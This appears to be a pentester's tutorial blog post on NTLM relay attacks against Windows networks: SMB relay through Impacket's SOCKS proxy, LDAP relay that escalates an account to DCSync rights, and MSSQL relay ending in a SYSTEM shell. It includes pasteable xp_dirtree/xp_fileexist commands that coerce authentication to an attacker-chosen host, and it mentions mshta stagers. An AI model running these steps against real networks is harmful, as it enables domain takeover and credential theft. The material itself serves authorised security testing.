Practical Guide to NTLM Relaying in 2021

The date is January 10th, 2021 and NTLM relaying is still a viable attack path on Windows networks. This post aims to update and expand upon the severely outdated Byt3bl33d3r post from 2017.

The theory behind NTLM relay has already been covered in extensive detail in this legendary Hackndo blog post. The goal of this blog post is not to document the internals of how NTLM relay works, but instead give pentesters a quick reference for how and when to run certain relay attacks.

Explain Like I'm a Pentester: NTLM Relay

Using network spoofing tools like Responder, Mitm6, or Bettercap, it is possible to coerce other hosts on the network to send our machine NTLM authentication requests. Poisoning is a prerequisite to NTLM Relay and has been covered in greater detail in a previous blog post of mine. As a pentester you probably already know how to do this.

Instead of simply capturing authentication with Responder, you can perform a Man-in-the-Middle attack to relay captured credentials to other services that support NTLM authentication. Note for the script kiddies out there: this includes protocols besides SMB.

As most people know, relaying local admin authentication to SMB results in code execution on that host. We'll warm up with an example of that here.

A caveat: the host must not require SMB signing
A caveat: the host must not require SMB signing
Your standard SMB Relay -- Dumping SAM database
Your standard SMB Relay -- Dumping SAM database

Ever since we started recommending clients disable local account login to their systems, it seems dumping SAM has become less and less useful. Instead, an attacker could choose to execute a command on their target system. This is a better approach.

Running a command on the victim host through NTLM Relay
Running a command on the victim host through NTLM Relay

But running a command on hosts through relay has a problem: You only get one shot to run a command, and then you're done. A smarter attacker would choose to run a command shell stager (such as an mshta.exe, bitsadmin.exe, or powershell one-liner) to spawn a beacon/agent/session on the host via your favorite remote access tool. Byt3bl33d3r uses the example of running a Powershell Empire one-liner command in his 2017 blog post.

An mshta stager command to be run on each relayed session
An mshta stager command to be run on each relayed session

Even this approach is not ideal due to the fickle nature of Antivirus/EDR and potential to block whatever RAT stager command we choose to use. For example: a Powershell Empire stager is more likely to alert the blue team than give us a shell (sorry BC-Security guys). Ideally we'd like every relayed connection to give us a plain old command shell to run multiple commands on one host...

Dirk-jan's SOCKS - SMB Relay the Right Way

A few years ago the maintainers of Impacket released the -socks option for Ntlmrelayx. To sum up their blog post on this announcement, it is now possible to save and reuse relayed sessions through Impacket's built in SOCKS proxy server -- You just have to turn it on. This works for privileged or unprivileged relays and works for all supported protocols.

Starting Ntlmrelayx with the SOCKS option
Starting Ntlmrelayx with the SOCKS option

We should have a SOCKS listener running locally on port 1080, and we can confirm this with a quick Nmap scan on ourself.

Using Nmap to test that our SOCKS server is listening for connections
Using Nmap to test that our SOCKS server is listening for connections

Our Nmap scan detects Impacket's SOCKS proxy as socks4, so we should set our proxychains configuration file to match that.

Editing /etc/proxychains.conf to point at our local SOCKS listener
Editing /etc/proxychains.conf to point at our local SOCKS listener

Once a relay successfully completes, each user's relay will be listed in our current socks sessions.

Successful relay with the associated SOCKS session
Successful relay with the associated SOCKS session

We can now use and reuse this SMB session with a number of tools.

Using secretsdump.py to extract local SAM credentials
Using secretsdump.py to extract local SAM credentials
Using smbexec.py on the same relay to gain a remote shell
Using smbexec.py on the same relay to gain a remote shell

Basically any tool that authenticates over SMB is fair game here. It doesn't have to be an Impacket tool. Use your imagination :)

Running msfconsole through the relay to gain a Meterpreter session
Running msfconsole through the proxy to gain a Meterpreter session

"But wait!", you interject. "Some of my relayed sessions have AdminStatus = FALSE. Can we do anything with those?"

A relayed SOCKS session that is not an admin
A relayed SOCKS session that is not an admin

Yes! we can still use any non-admin session to do standard SMB enumeration tasks like RID cycling or viewing shares.

Using Impacket's lookupsid.py script to enumerate valid usernames on the Domain
Using Impacket's lookupsid.py script to enumerate valid usernames on the Domain

Getting a Domain userlist allows password guessing attacks with much greater effectiveness.

Using CrackMapExec to view shares on the victim relay host with our unprivileged user
Using CrackMapExec to view shares on the victim relay host with our unprivileged user
Using smbclient.py to look through SMB shares on the relayed host
Using smbclient.py to look through SMB shares on the relayed host

You might get lucky and find interesting things in the host's SMB shares.

The Do's and Don'ts of SOCKS

Ntlmrelayx's SOCKS code can be very particular about how you use it. If you don't do things exactly right it will throw some nasty Python errors and you'll have no idea what you did wrong. To save yourself some troubleshooting headache, follow these rules:

  • DO use python3 for ntlmrelayx.py.
  • DO use the domain, user, and host exactly as shown in your SOCKS list.
    • For example, if Ntlmrelayx shows your domain is CORP, use CORP with your tools. Don't use corp or CORP.com.
  • DO use -windows-auth with mssqlclient.py when proxying to MSSQL.
  • DON'T use hostnames in your relay target(s) or proxychains commands.
    • Perform name resolution by hand using nslookup or dig.
  • DON'T use socks5 protocol for proxychains.
    • Double check /etc/proxychains.conf you are using the correct socks4 protocol.
  • DON'T use the -no-pass option in any of Impacket's tools when going through the SOCKS proxy.
    • Let Impacket prompt you for credentials and enter a blank password.

LDAP Relay - NTLM Relay for the Sophisticated Tester

As an offensive community we've relayed to SMB for almost 20 years. It's great to use when hosts don't require SMB signing, but it seems like a significant portion of clients now require SMB signing throughout their entire network. Fortunately, SMB is just one of the protocols we can relay to.

LDAP is my personal favorite protocol to relay to as it can have great rewards relaying high or low privileged accounts. LDAP is also almost never protected by signing. However, LDAP relay comes with a big caveat: SMB NTLM authentication cannot be relayed to LDAP. But if you have some HTTP authentication traffic on your subnet this should not be a problem.

When you relay to LDAP you always want to target a Domain Controller.

Setting up our LDAP relay to target the Domain Controller
Setting up our LDAP relay to target the Domain Controller

Ntlmrelayx dumps out the LDAP database once we relay HTTP NTLM authentication from a low privileged user.

A successful low privileged NTLM relay from HTTP to LDAP
A successful low privileged NTLM relay from HTTP to LDAP

The domain info we get is identical to that of ldapdomaindump and contains a list of domain users, groups, computers, and the password policy.

Viewing the ldapdomaindump domain users file in a web browser
Viewing the ldapdomaindump domain users file in a web browser

As mentioned before, this info can be very helpful in conducting password guessing attacks.

If we relay to LDAPS (not LDAP), we can choose to create a computer account and set its password.

Setting up our LDAPS relay with the --add-computer option
Setting up our LDAPS relay with the --add-computer option

The next time a standard user authenticates to us over HTTP, we get a shiny new computer account. This computer account can be used on the Domain in much the same way a standard user account can. You can check shares, run Bloodhound, Kerberoast, etc.

Relaying an unprivileged user to LDAPS and creating a new computer account
Relaying an unprivileged user to LDAPS and creating a new computer account
Validating our newly created computer credentials against the domain
Validating our newly created computer credentials against the domain

But the crown jewel of LDAP relay is the ability to escalate an owned user account to Domain Admin status if we catch privileged auth. Let's try to elevate our attacker_computer$ account. Escalating a computer account is a little more difficult than escalating a regular user account but it can still be done. Before we set up the relay, we need to make a small modification to the ldapattack.py. Mine is located at /usr/local/lib/python3.9/dist-packages/impacket/examples/ntlmrelayx/attacks/ldapattack.py. Around line 304, change '(objectCategory=user)' to '(objectCategory=computer)'. Note that this step isn't necessary to escalate standard user accounts.

Changing one line of code in httpattack.py
Changing one line of code in httpattack.py

Only then can we set up our relay. We just need to wait to catch HTTP auth from a Domain Admin.

Setting up our LDAP relay to elevate attacker_computer$ to Domain Admin status
Setting up our LDAP relay to escalate attacker_computer$

Once we receive HTTP authentication from a Domain Admin, we officially own the domain! 🥳

The LDAP relay --escalate-user attack in progress
The LDAP relay --escalate-user attack in progress

Note that the --escalate-user attack doesn't actually make our attacker_computer$ a Domain Admin, but instead gives it full DCSync permissions (Replication-Get-Changes-All). We simply need to DCSync the Domain to get Domain Admin credentials.

DCSyncing the Domain with our escalated attacker_computer$ account
DCSyncing the Domain with our escalated attacker_computer$ account

Lastly, we might want to restore the permissions of the elevated account. Ntlmrelayx gives us an aclpwn.restore file that we can use with the aclpwn command.

Using aclpwn to remove DCSync rights from the escalated computer account
Using aclpwn to remove DCSync rights from the escalated computer account

Now attacker_computer$ can no longer DCSync the domain.

MSSQL Relay

Microsoft SQL supports NTLM authentication just like other Microsoft protocols. MSSQL servers by default do not have extended protection mode enabled, which is the MSSQL equivalent of SMB signing. Unlike LDAP relay, both HTTP and SMB can be relayed to MSSQL. For these reasons MSSQL servers make good relay targets.

We will be using our good friend -socks again for MSSQL relay since it allows us to run multiple SQL queries on one relay.

The kclark user has been relayed to our target SQL server. We don't know what user permissions the user has yet, but we're going to check soon.

Viewing the MSSQL relay socks session in ntlmrelayx
Viewing the MSSQL relay socks session in ntlmrelayx

Impacket comes with a great TDS/MSSQL client, aptly named mssqlclient.py. We can use this script to log into the SQL server through our socks proxy.

Using mssqlclient.py to log in to our victim SQL server
Using mssqlclient.py to log in to our victim SQL server

We can use the queries SELECT suser_sname() and SELECT user_name() respectively to find out our login user and our database group permissions.

Running user identification commands in MSSQL
Running user identification commands in MSSQL

Let's pretend for now that we are not part of the Database Owners group (as shown above) for a little bit. Almost every user has access to the xp_dirtree and xp_fileexist SQL stored procedures. We can use these stored procedures to send SMB and potentially WebDAV (HTTP) authentication to a host of our choice. Pastables for these commands are below:

  • EXEC MASTER.sys.xp_dirtree '\\IP_ADDRESS\share', 1, 1;
  • EXEC MASTER.sys.xp_dirtree '\\HOSTNAME@80\share', 1, 1;
  • EXEC MASTER.sys.xp_fileexist '\\IP_ADDRESS\share\a.txt';
  • EXEC MASTER.sys.xp_fileexist '\\HOSTNAME@80\share\a.txt';
Running xp_fileexist stored procedure to coerce SMB authentication
Running xp_fileexist stored procedure to coerce SMB authentication

After running these commands in mssqlclient.py, we capture authentication from these SQL stored procedures in Ntlmrelayx.

Captured authentication from xp_dirtree command
Captured authentication from xp_fileexist command

My database is set up to run as the default MSSQLSERVER local service account. Authentication from this user won't be useful to capture or relay, but a handful of times I have seen the database user running as a Domain User or even Domain Admin account. Cracking or relaying that authentication could be very valuable.

Back to mssqlclient, since we are a part of the DBO group, we can enable and use the xp_cmdshell stored procedure to run cmd.exe commands.

Enabling xp_cmdshell and running some operating system commands through mssqlclient
Enabling xp_cmdshell and running some operating system commands through mssqlclient.py

We are running as the mssqlserver service account and would like to escalate privileges to SYSTEM. Luckily, service accounts almost always have the privileges required to privesc to SYSTEM. We're going to spin up Metasploit using our SOCKS proxy.

Running msfconsole with proxychains
Running msfconsole with proxychains

We're going to use the mssql_clr_payload module to get a Meterpreter session and continue our post-exploit process. Of course there are other ways to do this without Metasploit, but it's easy and works for demonstration purposes.

Getting a Meterpreter session on the SQL server through the SOCKS proxy
Getting a Meterpreter session on the SQL server through the SOCKS proxy

We are running as the local service account: nt service\mssqlserver. Lucky for us, service accounts almost always have privileges that allow the elevation to SYSTEM. Quoting @decoder_it: "if you have SeAssignPrimaryToken or SeImpersonate privilege, you are SYSTEM."

We can check our privileges with the getprivs Meterpreter command:

Using getprivs - We have the required privileges to privesc to SYSTEM
Using getprivs - We have the required privileges to privesc to SYSTEM

For older systems (Server 2008 - 2012), you'll want to use Juicy Potato (Metasploit module: ms16_075_reflection_juicy). If your SQL server is newer (Server 2016 - 2019) you should use one of the newer exploits: Print Spoofer or SweetPotato. My SQL server is running on Server 2019, so we will use the execute_dotnet_assembly Metasploit module to run SweetPotato from memory.

Setting execute_dotnet_assembly options to run an mshta stager command 
Setting execute_dotnet_assembly options to run an mshta stager command 
Running SweetPotato.exe through execute_dotnet_assembly
Running SweetPotato.exe through execute_dotnet_assembly

After running our mshta.exe command through SweetPotato, a new rat checks in running as SYSTEM.

Badrat.hta checking in and running as SYSTEM
Badrat.hta checking in and running as SYSTEM

From here it should be easy to dump credentials out of LSASS and SAM, then move laterally after that.

 

This article was updated on July 11, 2022